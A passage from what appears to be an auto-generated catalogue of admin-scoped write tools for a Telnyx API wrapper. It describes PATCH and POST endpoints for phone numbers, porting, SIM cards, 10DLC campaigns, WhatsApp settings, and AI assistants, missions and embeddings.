specified phone number to a bundle or removes it from a bundle according to the requested status change. The response contains the phone number with its updated bundle state. [Phone Number Configurations] via PATCH /phone_numbers/{id}/actions/bundle_status_change PATCH /api/v1/telnyx/phone_numbers/{id}/actions/bundle_status_change. Scopes: admin. telnyx_patch_phone_numbers_by_id_messaging (write) — Updates the messaging product, messaging profile, or both for the specified phone number. [Number Settings] via PATCH /phone_numbers/{id}/messaging PATCH /api/v1/telnyx/phone_numbers/{id}/messaging. Scopes: admin. telnyx_patch_phone_numbers_by_id_voice (write) — Updates the voice configuration for the specified phone number. The response contains the phone number with its updated voice settings. [Phone Number Configurations] via PATCH /phone_numbers/{id}/voice PATCH /api/v1/telnyx/phone_numbers/{id}/voice. Scopes: admin. telnyx_patch_phone_numbers_by_phone_number_id_voicemail (write) — Update voicemail settings for a phone number. You can also configure a custom greeting by setting the greeting object: use mode custom_greeting together with a media_name that points to an audio file uploaded through the Media Storage API, or mode default to use the standard system greeting. [Voicemail] via PATCH /phone_numbers/{phone_number_id}/voicemail PATCH /api/v1/telnyx/phone_numbers/{phone_number_id}/voicemail. Scopes: admin. telnyx_patch_porting_loa_configurations_by_id (write) — Updates the specified LOA configuration with the provided fields and returns the updated configuration. [Porting Orders] via PATCH /porting/loa_configurations/{id} PATCH /api/v1/telnyx/porting/loa_configurations/{id}. Scopes: admin. telnyx_patch_porting_orders_by_id (write) — Edits the details of an existing porting order. Any or all of a porting orders attributes may be included in the resource object included in a PATCH request. If a request does not include all of the attributes for a resource, the system will interpret the missing attributes as if they were included with their current values. To explicitly set something to null, it must be included in the request with a null value. [Porting Orders] via PATCH /porting_orders/{id} PATCH /api/v1/telnyx/porting_orders/{id}. Scopes: admin. telnyx_patch_porting_orders_by_id_activation_jobs_by_activationjobid (write) — Updates the activation time of a porting activation job. [Porting Orders] via PATCH /porting_orders/{id}/activation_jobs/{activationJobId} PATCH /api/v1/telnyx/porting_orders/{id}/activation_jobs/{activationJobId}. Scopes: admin. telnyx_patch_portouts_by_id_by_status (write) — Updates the status of the specified port-out request, using the status path segment to authorize or reject the port-out. [Number Portout] via PATCH /portouts/{id}/{status} PATCH /api/v1/telnyx/portouts/{id}/{status}. Scopes: admin. telnyx_patch_pronunciation_dicts_by_id (write) — Update the name and/or items of an existing pronunciation dictionary. Uses optimistic locking — if the dictionary was modified concurrently, the request returns 409 Conflict. [Pronunciation Dictionaries] via PATCH /pronunciation_dicts/{id} PATCH /api/v1/telnyx/pronunciation_dicts/{id}. Scopes: admin. telnyx_patch_queues_by_queue_name_calls_by_call_control_id (write) — Update queued call's keep_after_hangup flag [Queue Commands] via PATCH /queues/{queue_name}/calls/{call_control_id} PATCH /api/v1/telnyx/queues/{queue_name}/calls/{call_control_id}. Scopes: admin. telnyx_patch_rcs_agents_by_id (write) — Updates one or more fields on an agent while its status is CREATED. Submitted agents cannot be changed through this endpoint. [RCS Agents] via PATCH /rcs/agents/{id} PATCH /api/v1/telnyx/rcs/agents/{id}. Scopes: admin. telnyx_patch_rcs_brands_by_id (write) — Updates one or more fields on a brand while its status is CREATED. Submitted brands cannot be changed. [RCS Brands] via PATCH /rcs/brands/{id} PATCH /api/v1/telnyx/rcs/brands/{id}. Scopes: admin. telnyx_patch_requirement_groups_by_id (write) — Updates the customer reference or regulatory requirement values on the specified requirement group. The response contains the updated group. [Requirement Groups] via PATCH /requirement_groups/{id} PATCH /api/v1/telnyx/requirement_groups/{id}. Scopes: admin. telnyx_patch_rooms_by_room_id (write) — Synchronously updates the specified video room's configuration and returns the updated room. [Rooms] via PATCH /rooms/{room_id} PATCH /api/v1/telnyx/rooms/{room_id}. Scopes: admin. telnyx_patch_short_codes_by_id (write) — Update the settings for a specific short code. To unbind a short code from a profile, set the messaging_profile_id to null or an empty string. To add or update tags, include the tags field as an array of strings. [Short Codes] via PATCH /short_codes/{id} PATCH /api/v1/telnyx/short_codes/{id}. Scopes: admin. telnyx_patch_sim_card_data_usage_notifications_by_id (write) — Updates information for a SIM Card Data Usage Notification. [SIM Cards] via PATCH /sim_card_data_usage_notifications/{id} PATCH /api/v1/telnyx/sim_card_data_usage_notifications/{id}. Scopes: admin. telnyx_patch_sim_card_groups_by_id (write) — Updates the specified SIM card group's attributes and returns the updated group. [SIM Card Groups] via PATCH /sim_card_groups/{id} PATCH /api/v1/telnyx/sim_card_groups/{id}. Scopes: admin. telnyx_patch_sim_cards_by_id (write) — Updates the specified SIM card's attributes and returns the updated SIM card. [SIM Cards] via PATCH /sim_cards/{id} PATCH /api/v1/telnyx/sim_cards/{id}. Scopes: admin. telnyx_patch_storage_cloudfs_by_id (write) — Updates a CloudFS filesystem. Only name can be changed; other fields are immutable and unknown fields are rejected with a 400. Renaming to a name that already exists in your organization returns a 422. [cloudfs filesystems] via PATCH /storage/cloudfs/{id} PATCH /api/v1/telnyx/storage/cloudfs/{id}. Scopes: admin. telnyx_patch_sub_number_orders_by_sub_number_order_id (write) — Updates the requirements of an existing sub number order and returns the updated order. [Phone Number Orders] via PATCH /sub_number_orders/{sub_number_order_id} PATCH /api/v1/telnyx/sub_number_orders/{sub_number_order_id}. Scopes: admin. telnyx_patch_sub_number_orders_by_sub_number_order_id_cancel (write) — Allows you to cancel a sub number order in 'pending' status. [Phone Number Orders] via PATCH /sub_number_orders/{sub_number_order_id}/cancel PATCH /api/v1/telnyx/sub_number_orders/{sub_number_order_id}/cancel. Scopes: admin. telnyx_patch_telephony_credentials_by_id (write) — Updates the specified telephony credential and returns the updated credential. [Credentials] via PATCH /telephony_credentials/{id} PATCH /api/v1/telnyx/telephony_credentials/{id}. Scopes: admin. telnyx_patch_texml_applications_by_id (write) — Updates settings of an existing TeXML Application. [TeXML Applications] via PATCH /texml_applications/{id} PATCH /api/v1/telnyx/texml_applications/{id}. Scopes: admin. telnyx_patch_traffic_policy_profiles_by_id (write) — Updates the specified traffic policy profile and returns the updated profile. [Traffic Policy Profiles] via PATCH /traffic_policy_profiles/{id} PATCH /api/v1/telnyx/traffic_policy_profiles/{id}. Scopes: admin. telnyx_patch_uac_connections_by_id (write) — Updates settings of an existing UAC connection. [UAC Connections] via PATCH /uac_connections/{id} PATCH /api/v1/telnyx/uac_connections/{id}. Scopes: admin. telnyx_patch_v2_mobile_phone_numbers_by_id (write) — Update the settings of a specific mobile phone number. [Mobile Phone Numbers] via PATCH /mobile_phone_numbers/{id} PATCH /api/v1/telnyx/mobile_phone_numbers/{id}. Scopes: admin. telnyx_patch_v2_mobile_voice_connections_by_id (write) — Update the settings of a specific mobile voice connection. [Mobile Voice Connections] via PATCH /mobile_voice_connections/{id} PATCH /api/v1/telnyx/mobile_voice_connections/{id}. Scopes: admin. telnyx_patch_v2_whatsapp_user_data (write) — Updates the supplied WhatsApp user-data settings for the authenticated Telnyx account. [Whatsapp Business Accounts] via PATCH /whatsapp/user_data PATCH /api/v1/telnyx/whatsapp/user_data. Scopes: admin. telnyx_patch_verify_profiles_by_verify_profile_id (write) — Updates the specified Verify profile's name, webhook destinations, language, daily spend limits, or channel-specific settings. Returns the updated profile. [Verify] via PATCH /verify_profiles/{verify_profile_id} PATCH /api/v1/telnyx/verify_profiles/{verify_profile_id}. Scopes: admin. telnyx_patch_verify_profiles_templates_by_template_id (write) — Update an existing Verify profile message template. [Verify] via PATCH /verify_profiles/templates/{template_id} PATCH /api/v1/telnyx/verify_profiles/templates/{template_id}. Scopes: admin. telnyx_patch_virtual_cross_connects_by_id (write) — Update the Virtual Cross Connect. Cloud IPs can only be patched during the created state, as GCE will only inform you of your generated IP once the pending connection requested has been accepted. Once the Virtual Cross Connect has moved to provisioning, the IPs can no longer be patched. Once the Virtual Cross Connect has moved to provisioned and you are ready to enable routing, you can toggle the routing announcements to true. [Virtual Cross Connects] via PATCH /virtual_cross_connects/{id} PATCH /api/v1/telnyx/virtual_cross_connects/{id}. Scopes: admin. telnyx_patch_voice_clones_by_id (write) — Updates the name, language, or gender of a voice clone. [Voice Clones] via PATCH /voice_clones/{id} PATCH /api/v1/telnyx/voice_clones/{id}. Scopes: admin. telnyx_patch_voice_designs_by_id (write) — Updates the name of a voice design. All versions retain their other properties. [Voice Designs] via PATCH /voice_designs/{id} PATCH /api/v1/telnyx/voice_designs/{id}. Scopes: admin. telnyx_patch_whatsapp_business_accounts_by_id_settings (write) — Update the settings of a WhatsApp Business Account. [Whatsapp Business Accounts] via PATCH /whatsapp/business_accounts/{id}/settings PATCH /api/v1/telnyx/whatsapp/business_accounts/{id}/settings. Scopes: admin. telnyx_patch_whatsapp_message_templates_by_id (write) — Update an existing WhatsApp message template. [Whatsapp Message Templates] via PATCH /whatsapp/message_templates/{id} PATCH /api/v1/telnyx/whatsapp/message_templates/{id}. Scopes: admin. telnyx_patch_whatsapp_phone_numbers_by_phone_number_calling_settings (write) — Enable or disable WhatsApp calling for a phone number and manage its calling configuration. [Whatsapp Phone Numbers] via PATCH /whatsapp/phone_numbers/{phone_number}/calling_settings PATCH /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/calling_settings. Scopes: admin. telnyx_patch_whatsapp_phone_numbers_by_phone_number_conversational_components (write) — Update the conversational components configuration, such as welcome messages and commands, for a WhatsApp phone number. [Whatsapp Phone Numbers] via PATCH /whatsapp/phone_numbers/{phone_number}/conversational_components PATCH /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/conversational_components. Scopes: admin. telnyx_patch_whatsapp_phone_numbers_by_phone_number_profile (write) — Update the WhatsApp business profile associated with a phone number. [Whatsapp Phone Numbers] via PATCH /whatsapp/phone_numbers/{phone_number}/profile PATCH /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/profile. Scopes: admin. telnyx_patch_wireguard_peers_by_id (write) — Updates the specified WireGuard peer and returns the updated peer. [WireGuard Interfaces] via PATCH /wireguard_peers/{id} PATCH /api/v1/telnyx/wireguard_peers/{id}. Scopes: admin. telnyx_patch_wireless_blocklists_by_id (write) — Updates the specified wireless blocklist. The update is processed asynchronously, so the request is accepted and completes in the background. [Wireless Blocklists] via PATCH /wireless_blocklists/{id} PATCH /api/v1/telnyx/wireless_blocklists/{id}. Scopes: admin. telnyx_post_10dlc_brand (write) — This endpoint is used to create a new brand. A brand is an entity created by The Campaign Registry (TCR) that represents an organization or a company. It is this entity that TCR created campaigns will be associated with. Each brand creation will entail an upfront, non-refundable $4 expense. [Brands] via POST /10dlc/brand POST /api/v1/telnyx/10dlc/brand. Scopes: admin. telnyx_post_10dlc_brand_by_brandid_2faemail (write) — Requests a new two-factor authentication email for the specified 10DLC brand. Complete verification through the link delivered to the brand contact before continuing registration. [Brands] via POST /10dlc/brand/{brandId}/2faEmail POST /api/v1/telnyx/10dlc/brand/{brandId}/2faEmail. Scopes: admin. telnyx_post_10dlc_brand_by_brandid_externalvetting (write) — Order new external vetting for a brand. Duplicate orders for the same evpId and vettingClass return 400 with code 10012 if a successful vetting exists within the last 180 days, or one is currently being processed. Failed vettings can be retried immediately. [Brands] via POST /10dlc/brand/{brandId}/externalVetting POST /api/v1/telnyx/10dlc/brand/{brandId}/externalVetting. Scopes: admin. telnyx_post_10dlc_brand_by_brandid_smsotp (write) — Trigger or re-trigger an SMS OTP (One-Time Password) for Sole Proprietor brand verification. Important Notes: * Only allowed for Sole Proprietor (SOLE_PROPRIETOR) brands * Triggers generation of a one-time password sent to the mobilePhone number in the brand's profile * Campaigns cannot be created until OTP verification is complete * US/CA numbers only for real OTPs; mock brands can use non-US/CA numbers for testing * Returns a referenceId that can be used to check OTP status via the GET /10dlc/brand/smsOtp/{referenceId} endpoint Use Cases: * Initial OTP trigger after Sole Proprietor brand creation * Re-triggering OTP if the user didn't receive or needs a new code [Brands] via POST /10dlc/brand/{brandId}/smsOtp POST /api/v1/telnyx/10dlc/brand/{brandId}/smsOtp. Scopes: admin. telnyx_post_10dlc_campaign_acceptsharing_by_campaignid (write) — Manually accept a campaign shared with Telnyx [Campaign] via POST /10dlc/campaign/acceptSharing/{campaignId} POST /api/v1/telnyx/10dlc/campaign/acceptSharing/{campaignId}. Scopes: admin. telnyx_post_10dlc_campaign_by_campaignid_appeal (write) — Submits an appeal for rejected native campaigns in TELNYX_FAILED or MNO_REJECTED status. The appeal is recorded for manual compliance team review and the campaign status is reset to TCR_ACCEPTED. Note: Appeal forwarding is handled manually to allow proper review before incurring upstream charges. [Campaign] via POST /10dlc/campaign/{campaignId}/appeal POST /api/v1/telnyx/10dlc/campaign/{campaignId}/appeal. Scopes: admin. telnyx_post_10dlc_campaignbuilder (write) — Before creating a campaign, use the Qualify By Usecase endpoint to ensure that the brand you want to assign a new campaign to is qualified for the desired use case of that campaign. Please note: After campaign creation, you'll only be able to edit the campaign's sample messages. Creating a campaign will entail an upfront, non-refundable three month's cost that will depend on the campaign's use case (see 10DLC Costs section for details). [Campaign] via POST /10dlc/campaignBuilder POST /api/v1/telnyx/10dlc/campaignBuilder. Scopes: admin. telnyx_post_10dlc_phone_number_campaigns (write) — Assigns a phone number to a 10DLC campaign. The assignment controls which registered campaign is used for traffic from that number. [Phone Number Campaigns] via POST /10dlc/phone_number_campaigns POST /api/v1/telnyx/10dlc/phone_number_campaigns. Scopes: admin. telnyx_post_10dlc_phonenumberassignmentbyprofile (write) — This endpoint allows you to link all phone numbers associated with a Messaging Profile to a campaign. Please note: if you want to assign phone numbers to a campaign that you did not create with Telnyx 10DLC services, this endpoint allows that provided that you've shared the campaign with Telnyx. In this case, only provide the parameter, tcrCampaignId, and not campaignId. In all other cases (where the campaign you're assigning was created with Telnyx 10DLC services), only provide campaignId, not tcrCampaignId. [Bulk Phone Number Campaigns] via POST /10dlc/phoneNumberAssignmentByProfile POST /api/v1/telnyx/10dlc/phoneNumberAssignmentByProfile. Scopes: admin. telnyx_post_access_ip_address (write) — Create a new access IP address entry on your account. [IP Addresses] via POST /access_ip_address POST /api/v1/telnyx/access_ip_address. Scopes: admin. telnyx_post_access_ip_ranges (write) — Create a new access IP range on your account. [IP Ranges] via POST /access_ip_ranges POST /api/v1/telnyx/access_ip_ranges. Scopes: admin. telnyx_post_actions_purchase_esims (write) — Purchases and registers the specified amount of eSIMs to the current user's account. If sim_card_group_id is provided, the eSIMs will be associated with that group. Otherwise, the default group for the current user will be used. [SIM Cards] via POST /actions/purchase/esims POST /api/v1/telnyx/actions/purchase/esims. Scopes: admin. telnyx_post_actions_register_sim_cards (write) — Register the SIM cards associated with the provided registration codes to the current user's account. If sim_card_group_id is provided, the SIM cards will be associated with that group. Otherwise, the default group for the current user will be used. [SIM Cards] via POST /actions/register/sim_cards POST /api/v1/telnyx/actions/register/sim_cards. Scopes: admin. telnyx_post_addresses (write) — Creates a new address on your account from the provided details, for use with services that require a physical address such as emergency calling and regulatory compliance. [Addresses] via POST /addresses POST /api/v1/telnyx/addresses. Scopes: admin. telnyx_post_addresses_actions_validate (write) — Validates an address for emergency services. [Addresses] via POST /addresses/actions/validate POST /api/v1/telnyx/addresses/actions/validate. Scopes: admin. telnyx_post_addresses_by_id_actions_accept_suggestions (write) — Accept the validated address suggestion for this address, replacing the original values, and finish uploading the numbers associated with it to Microsoft for Operator Connect. [Addresses] via POST /addresses/{id}/actions/accept_suggestions POST /api/v1/telnyx/addresses/{id}/actions/accept_suggestions. Scopes: admin. telnyx_post_advanced_orders (write) — Creates an advanced number order from the requested order configuration. The response contains the resulting advanced order and its initial state. [Advanced Number Orders] via POST /advanced_orders POST /api/v1/telnyx/advanced_orders. Scopes: admin. telnyx_post_ai_anthropic_v1_messages (write) — Send a message to a language model using the Anthropic Messages API format. This endpoint is compatible with the Anthropic Messages API and may be used with the Anthropic JS or Python SDK by setting the base URL to https://api.telnyx.com/v2/ai/anthropic. The endpoint translates Anthropic-format requests into Telnyx's inference internals, then translates the response back to the Anthropic message shape. Streaming responses use Anthropic SSE event types (message_start, content_block_start, content_block_delta, content_block_stop, message_delta, message_stop). [Anthropic Messages] via POST /ai/anthropic/v1/messages POST /api/v1/telnyx/ai/anthropic/v1/messages. Scopes: admin. telnyx_post_ai_assistants (write) — Creates a new AI assistant from the provided configuration, including its model, instructions, and attached tools, and returns the created assistant. [Assistants] via POST /ai/assistants POST /api/v1/telnyx/ai/assistants. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id (write) — Updates the specified AI assistant's attributes and returns the updated assistant. The request can also control how the change is promoted across assistant versions. [Assistants] via POST /ai/assistants/{assistant_id} POST /api/v1/telnyx/ai/assistants/{assistant_id}. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_canary_deploys (write) — Endpoint to create a canary deploy configuration for an assistant. Creates a new canary deploy configuration with multiple version IDs and their traffic percentages for A/B testing or gradual rollouts of assistant versions. [Assistants] via POST /ai/assistants/{assistant_id}/canary-deploys POST /api/v1/telnyx/ai/assistants/{assistant_id}/canary-deploys. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_chat (write) — This endpoint allows a client to send a chat message to a specific AI Assistant. The assistant processes the message and returns a relevant reply based on the current conversation context. Refer to the Conversation API to create a conversation, filter existing conversations, fetch messages for a conversation, and manually add messages to a conversation. [Assistants] via POST /ai/assistants/{assistant_id}/chat POST /api/v1/telnyx/ai/assistants/{assistant_id}/chat. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_chat_sms (write) — Send an SMS message for an assistant. This endpoint: 1. Validates the assistant exists and has messaging profile configured 2. If should_create_conversation is true, creates a new conversation with metadata 3. Sends the SMS message (If text is set, this will be sent. Otherwise, if this is the first message in the conversation and the assistant has a greeting configured, this will be sent. Otherwise the assistant will generate the text to send.) 4. Updates conversation metadata if provided 5. Returns the conversation ID [Assistants] via POST /ai/assistants/{assistant_id}/chat/sms POST /api/v1/telnyx/ai/assistants/{assistant_id}/chat/sms. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_clone (write) — Clone an existing assistant, excluding telephony and messaging settings. [Assistants] via POST /ai/assistants/{assistant_id}/clone POST /api/v1/telnyx/ai/assistants/{assistant_id}/clone. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_instructions_enhance (write) — Enhance an assistant's instructions using an LLM. The endpoint reads the assistant's current instructions and tools, then streams back improved instructions as they are generated. Optionally provide an enhancement_prompt to steer the changes (for example, "make the instructions more concise" or "add error handling guidance"). When omitted, the assistant's existing instructions are used as the basis for the enhancement. The enhancement focuses on tool-calling reliability, clarity and precision, completeness and error handling, tool schema alignment, and conversation flow structure. The response is streamed as text/plain using chunked transfer encoding; consume the body incrementally to render the enhanced instructions as they arrive. [Assistants] via POST /ai/assistants/{assistant_id}/instructions/enhance POST /api/v1/telnyx/ai/assistants/{assistant_id}/instructions/enhance. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_scheduled_events (write) — Create a scheduled event for an assistant [Assistants] via POST /ai/assistants/{assistant_id}/scheduled_events POST /api/v1/telnyx/ai/assistants/{assistant_id}/scheduled_events. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_tags (write) — Add a tag to an AI assistant. Tags help you organize and filter your assistants. [Assistants] via POST /ai/assistants/{assistant_id}/tags POST /api/v1/telnyx/ai/assistants/{assistant_id}/tags. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_tools_by_tool_id_test (write) — Executes a test invocation of the specified webhook tool for the assistant and returns the outcome, so you can verify the webhook's behavior before relying on it in conversations. [Assistants] via POST /ai/assistants/{assistant_id}/tools/{tool_id}/test POST /api/v1/telnyx/ai/assistants/{assistant_id}/tools/{tool_id}/test. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_versions_by_version_id (write) — Updates the configuration of a specific assistant version. Can not update main version [Assistants] via POST /ai/assistants/{assistant_id}/versions/{version_id} POST /api/v1/telnyx/ai/assistants/{assistant_id}/versions/{version_id}. Scopes: admin. telnyx_post_ai_assistants_by_assistant_id_versions_by_version_id_promote (write) — Promotes a specific version to be the main/current version of the assistant. This will delete any existing canary deploy configuration and send all live production traffic to this version. [Assistants] via POST /ai/assistants/{assistant_id}/versions/{version_id}/promote POST /api/v1/telnyx/ai/assistants/{assistant_id}/versions/{version_id}/promote. Scopes: admin. telnyx_post_ai_assistants_import (write) — Import assistants from external providers. Any assistant that has already been imported will be overwritten with its latest version from the importing provider. [Assistants] via POST /ai/assistants/import POST /api/v1/telnyx/ai/assistants/import. Scopes: admin. telnyx_post_ai_assistants_tests (write) — Creates a comprehensive test configuration for evaluating AI assistant performance [Assistants] via POST /ai/assistants/tests POST /api/v1/telnyx/ai/assistants/tests. Scopes: admin. telnyx_post_ai_assistants_tests_by_test_id_runs (write) — Initiates immediate execution of a specific assistant test [Assistants] via POST /ai/assistants/tests/{test_id}/runs POST /api/v1/telnyx/ai/assistants/tests/{test_id}/runs. Scopes: admin. telnyx_post_ai_assistants_tests_test_suites_by_suite_name_runs (write) — Executes all tests within a specific test suite as a batch operation [Assistants] via POST /ai/assistants/tests/test-suites/{suite_name}/runs POST /api/v1/telnyx/ai/assistants/tests/test-suites/{suite_name}/runs. Scopes: admin. telnyx_post_ai_chat_completions (write) — Deprecated: Use POST /v2/ai/openai/chat/completions instead. Chat with a language model. This endpoint is consistent with the OpenAI Chat Completions API and may be used with the OpenAI JS or Python SDK. [Chat] via POST /ai/chat/completions POST /api/v1/telnyx/ai/chat/completions. Scopes: admin. telnyx_post_ai_clusters (write) — Starts a background task to compute how the data in an embedded storage bucket is clustered. This helps identify common themes and patterns in the data. [Clusters] via POST /ai/clusters POST /api/v1/telnyx/ai/clusters. Scopes: admin. telnyx_post_ai_collections (write) — Creates a new collection scoped to your organization. Optionally attach sources and retrieval settings at creation time. If slug is omitted, one is derived from name and must be unique within your organization. [AI Collections] via POST /ai/collections POST /api/v1/telnyx/ai/collections. Scopes: admin. telnyx_post_ai_collections_by_uuid_sources (write) — Attaches a new content source to the specified collection and returns the created source. The source's content is ingested and embedded so it becomes searchable within the collection. [AI Collections] via POST /ai/collections/{uuid}/sources POST /api/v1/telnyx/ai/collections/{uuid}/sources. Scopes: admin. telnyx_post_ai_conversations (write) — Creates a new AI conversation, the container for messages exchanged with an assistant, and returns the created conversation. [Conversations] via POST /ai/conversations POST /api/v1/telnyx/ai/conversations. Scopes: admin. telnyx_post_ai_conversations_by_conversation_id_message (write) — Add a new message to the conversation. Used to insert a new messages to a conversation manually ( without using chat endpoint ) [Conversations] via POST /ai/conversations/{conversation_id}/message POST /api/v1/telnyx/ai/conversations/{conversation_id}/message. Scopes: admin. telnyx_post_ai_conversations_insight_groups (write) — Creates a new insight template group for organizing related insight templates, and returns the created group. [Conversations] via POST /ai/conversations/insight-groups POST /api/v1/telnyx/ai/conversations/insight-groups. Scopes: admin. telnyx_post_ai_conversations_insight_groups_by_group_id_insights_by_insight_id_assign (write) — Assigns the specified insight template to the specified insight template group. [Conversations] via POST /ai/conversations/insight-groups/{group_id}/insights/{insight_id}/assign POST /api/v1/telnyx/ai/conversations/insight-groups/{group_id}/insights/{insight_id}/assign. Scopes: admin. telnyx_post_ai_conversations_insights (write) — Creates a new insight template defining an analysis to run over conversations, and returns the created template. [Conversations] via POST /ai/conversations/insights POST /api/v1/telnyx/ai/conversations/insights. Scopes: admin. telnyx_post_ai_embeddings (write) — Perform embedding on a Telnyx Storage Bucket using the a embedding model. The current supported file types are: - PDF - HTML - txt/unstructured text files - json - csv - audio / video (mp3, mp4, mpeg, mpga, m4a, wav, or webm ) - Max of 100mb file size. Any files not matching the above types will be attempted to be embedded as unstructured text. This process can be slow, so it runs in the background and the user can check the status of the task using the endpoint /ai/embeddings/{task_id}. Important Note: When you update documents in a Telnyx Storage bucket, their associated embeddings are automatically kept up to date. If you add or update a file, it is automatically embedded. If you delete a file, the embeddings are deleted for that particular file. You can also specify a custom loader param. Currently the only supported loader value is intercom which loads Intercom article jsons as specified by the Intercom article API This loader will split each article into paragraphs and save additional parameters relevant to Intercom docs, such as article_url and heading. These values will be returned by the /v2/ai/embeddings/similarity-search endpoint in the loader_metadata field. [Embeddings] via POST /ai/embeddings POST /api/v1/telnyx/ai/embeddings. Scopes: admin. telnyx_post_ai_embeddings_similarity_search (write) — Perform a similarity search on a Telnyx Storage Bucket, returning the most similar num_docs document chunks to the query. Currently the only available distance metric is cosine similarity which will return a distance between 0 and 1. The lower the distance, the more similar the returned document chunks are to the query. A certainty will also be returned, which is a value between 0 and 1 where the higher the certainty, the more similar the document. You can read more about Weaviate distance metrics here: Weaviate Docs If a bucket was embedded using a custom loader, such as intercom, the additional metadata will be returned in the loader_metadata field. [Embeddings] via POST /ai/embeddings/similarity-search POST /api/v1/telnyx/ai/embeddings/similarity-search. Scopes: admin. telnyx_post_ai_embeddings_url (write) — Embed website content from a specified URL, including child pages up to 5 levels deep within the same domain. The process crawls and loads content from the main URL and its linked pages into a Telnyx Cloud Storage bucket. As soon as each webpage is added to the bucket, its content is immediately processed for embeddings, that can be used for similarity search and clustering. [Embeddings] via POST /ai/embeddings/url POST /api/v1/telnyx/ai/embeddings/url. Scopes: admin. telnyx_post_ai_fine_tuning_jobs (write) — Creates a new fine-tuning job that trains a model on the provided dataset, and returns the created job. [Fine Tuning] via POST /ai/fine_tuning/jobs POST /api/v1/telnyx/ai/fine_tuning/jobs. Scopes: admin. telnyx_post_ai_fine_tuning_jobs_by_job_id_cancel (write) — Cancels the specified in-progress fine-tuning job and returns the updated job. [Fine Tuning] via POST /ai/fine_tuning/jobs/{job_id}/cancel POST /api/v1/telnyx/ai/fine_tuning/jobs/{job_id}/cancel. Scopes: admin. telnyx_post_ai_mcp_servers (write) — Creates a new MCP server configuration on your account and returns the created server. [MCP Servers] via POST /ai/mcp_servers POST /api/v1/telnyx/ai/mcp_servers. Scopes: admin. telnyx_post_ai_missions (write) — Creates a new mission definition from the provided configuration and returns the created mission. Execute the mission by starting runs against it. [Missions] via POST /ai/missions POST /api/v1/telnyx/ai/missions. Scopes: admin. telnyx_post_ai_missions_by_mission_id_clone (write) — Creates a copy of the specified mission as a new mission definition, so you can iterate on its configuration without modifying the original. [Missions] via POST /ai/missions/{mission_id}/clone POST /api/v1/telnyx/ai/missions/{mission_id}/clone. Scopes: admin. telnyx_post_ai_missions_by_mission_id_knowledge_bases (write) — Create a new knowledge base for a mission [Missions] via POST /ai/missions/{mission_id}/knowledge-bases POST /api/v1/telnyx/ai/missions/{mission_id}/knowledge-bases. Scopes: admin. telnyx_post_ai_missions_by_mission_id_mcp_servers (write) — Adds an MCP server to the specified mission, making the server's tools available to agents during runs of this mission. [Missions] via POST /ai/missions/{mission_id}/mcp-servers POST /api/v1/telnyx/ai/missions/{mission_id}/mcp-servers. Scopes: admin. telnyx_post_ai_missions_by_mission_id_runs (write) — Starts a new run of the specified mission and returns the created run object. Track its progress through the run detail, plan, and events endpoints. [Missions] via POST /ai/missions/{mission_id}/runs POST /api/v1/telnyx/ai/missions/{mission_id}/runs. Scopes: admin. telnyx_post_ai_missions_by_mission_id_runs_by_run_id_cancel (write) — Cancels a running or paused run and returns the updated run object. A cancelled run stops executing; start a new run to execute the mission again. [Missions] via POST /ai/missions/{mission_id}/runs/{run_id}/cancel POST /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/cancel. Scopes: admin. telnyx_post_ai_missions_by_mission_id_runs_by_run_id_events (write) — Logs a new event against the specified run and returns the created event. Events form the run's audit trail and can reference a plan step or agent. [Missions] via POST /ai/missions/{mission_id}/runs/{run_id}/events POST /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/events. Scopes: admin. telnyx_post_ai_missions_by_mission_id_runs_by_run_id_pause (write) — Pauses a currently running run and returns the updated run object. Execution halts until the run is resumed. [Missions] via POST /ai/missions/{mission_id}/runs/{run_id}/pause POST /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/pause. Scopes: admin. telnyx_post_ai_missions_by_mission_id_runs_by_run_id_plan (write) — Creates the initial plan for the specified run from the provided steps and returns the created plan steps. Progress is subsequently reported by updating individual steps. [Missions] via POST /ai/missions/{mission_id}/runs/{run_id}/plan POST /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/plan. Scopes: admin. telnyx_post_ai_missions_by_mission_id_runs_by_run_id_plan_steps (write) — Add one or more steps to an existing plan [Missions] via POST /ai/missions/{mission_id}/runs/{run_id}/plan/steps POST /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/plan/steps. Scopes: admin. telnyx_post_ai_missions_by_mission_id_runs_by_run_id_resume (write) — Resumes a previously paused run and returns the updated run object, letting execution continue from where it was paused. [Missions] via POST /ai/missions/{mission_id}/runs/{run_id}/resume POST /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/resume. Scopes: admin. telnyx_post_ai_missions_by_mission_id_runs_by_run_id_telnyx_agents (write) — Link a Telnyx AI agent (voice/messaging) to a run [Missions] via POST /ai/missions/{mission_id}/runs/{run_id}/telnyx-agents POST /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/telnyx-agents. Scopes: admin. telnyx_post_ai_missions_by_mission_id_tools (write) — Adds a new tool to the specified mission, defining an action agents can invoke during runs of this mission. [Missions] via POST /ai/missions/{mission_id}/tools POST /api/v1/telnyx/ai/missions/{mission_id}/tools. Scopes: admin. telnyx_post_ai_openai_chat_completions (write) — Chat with a language model. This endpoint is consistent with the OpenAI Chat Completions API and may be used with the OpenAI JS or Python SDK by setting the base URL to https://api.telnyx.com/v2/ai/openai. [OpenAI Chat] via POST /ai/openai/chat/completions POST /api/v1/telnyx/ai/openai/chat/completions. Scopes: admin. telnyx_post_ai_openai_embeddings (write) — Creates an embedding vector representing the input text. This endpoint is compatible with the OpenAI Embeddings API and may be used with the OpenAI JS or Python SDK by setting the base URL to https://api.telnyx.com/v2/ai/openai. [OpenAI Embeddings] via POST /ai/openai/embeddings POST /api/v1/telnyx/ai/openai/embeddings. Scopes: admin. telnyx_post_ai_openai_responses (write) — Create a 